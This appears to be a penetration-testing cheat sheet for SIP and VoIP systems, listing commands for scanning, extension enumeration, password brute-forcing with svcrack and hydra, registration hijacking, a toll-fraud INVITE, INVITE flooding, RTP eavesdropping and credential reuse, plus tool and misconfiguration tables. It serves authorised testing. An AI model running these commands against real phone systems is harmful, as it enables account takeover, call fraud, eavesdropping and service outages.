SIP and VoIP

Default Ports: 5060 (SIP), 5061 (SIP over TLS)

SIP is used by VoIP phones, PBXs, trunks, and call platforms. In pentests, SIP can expose extensions, weak phone credentials, call routing abuse, voicemail access, and PBX management weaknesses.

Connect

Using SIPVicious

SIPVicious is commonly used for SIP scanning and extension enumeration.

svmap target.com
svwar -m INVITE target.com
svwar -m REGISTER target.com

Using sipsak

sipsak sends SIP requests and checks server behavior.

sipsak -s sip:target.com
sipsak -vv -s sip:1000@target.com
sipsak -U -s sip:target.com

Using Linphone

A SIP softphone validates registration and call behavior with approved accounts.

linphonec
register sip:1000@target.com target.com password
call sip:1001@target.com

Using TLS

SIP over TLS should be checked for certificate and protocol issues.

openssl s_client -connect target.com:5061 -servername target.com
nmap -p 5061 --script ssl-cert,ssl-enum-ciphers target.com

Recon

Service Detection with Nmap

Scan UDP, TCP, and TLS SIP ports.

nmap -sU -sT -p 5060,5061 -sV target.com
nmap -sU -p 5060 --script sip-methods,sip-enum-users target.com
nmap -p 5061 --script ssl-cert,ssl-enum-ciphers target.com

SIP Method Discovery

Allowed methods reveal proxy, registrar, and PBX behavior.

nmap -sU -p 5060 --script sip-methods target.com
sipsak -vv -s sip:target.com

PBX Fingerprinting

Headers and error messages often reveal Asterisk, FreePBX, Kamailio, or Cisco systems.

svmap target.com
sipsak -vv -s sip:invalid@target.com

Enumeration

Extension Enumeration

Extension enumeration identifies valid users, phones, and voicemail targets.

svwar -m REGISTER -e1000-9999 target.com
svwar -m INVITE -e1000-9999 target.com
svwar -m OPTIONS -e1000-9999 target.com

Registration Check

Registration behavior can reveal valid extensions and authentication responses.

sipsak -vv -s sip:1000@target.com
sipsak -vv -s sip:9999@target.com

User and Trunk Discovery

Look for predictable extension ranges and trunk usernames.

svwar -D extensions.txt target.com
svwar -D users.txt -m REGISTER target.com

RTP Discovery

RTP media ranges may expose audio streams if not protected.

nmap -sU -p 10000-20000 target.com
rtpbreak -i eth0

Attack Vectors

Weak SIP Credentials

SIP phones often use numeric extensions and weak PIN-style passwords.

svcrack -u 1000 -r passwords.txt target.com
hydra -s 5060 -U -L users.txt -P passwords.txt target.com sip

Registration Hijacking

Valid SIP credentials can register a softphone as another extension.

linphonec
register sip:1000@target.com target.com password

Toll Fraud

Authenticated SIP access may allow outbound call abuse.

sipsak -s sip:+15551234567@target.com -a password -U -f invite.txt

Voicemail Access

Voicemail systems often use weak PINs or extension-based defaults.

svwar -D voicemail-extensions.txt target.com

SIP Invite Flooding

DoS tests must be explicitly scoped because voice systems are sensitive.

inviteflood eth0 target.com 1000 target.com 100

RTP Eavesdropping

Unencrypted RTP may expose call audio on local networks.

rtpbreak -i eth0
wireshark

Post-Exploitation

Call Path Review

Document reachable extensions, trunks, and dial patterns.

svwar -m REGISTER -e1000-9999 target.com > sip-extensions.txt
grep -Ei 'trunk|outbound|international|voicemail' sip-extensions.txt

Credential Reuse Check

Validate whether SIP credentials work on PBX portals or voicemail.

netexec http target.com -u users.txt -p passwords.txt

Evidence Collection

Collect banners, valid extensions, and scoped authentication evidence.

svmap target.com > sip-map.txt
svwar -m REGISTER -e1000-9999 target.com > sip-users.txt

Usefull Tools

Tool	Purpose
sipvicious	SIP scanning and brute force
sipsak	SIP request testing
nmap	SIP service detection
linphonec	Softphone testing
hydra	Credential testing
rtpbreak	RTP capture analysis
Wireshark	SIP/RTP packet analysis

Security Misconfigurations

Misconfiguration	Risk
Extension enumeration	User and phone discovery
Weak SIP passwords	Registration hijacking
Exposed PBX	Voice infrastructure attack surface
Unrestricted outbound calls	Toll fraud
Weak voicemail PINs	Voicemail compromise
Unencrypted RTP	Call audio exposure
SIP over UDP exposed broadly	Brute force and scanning risk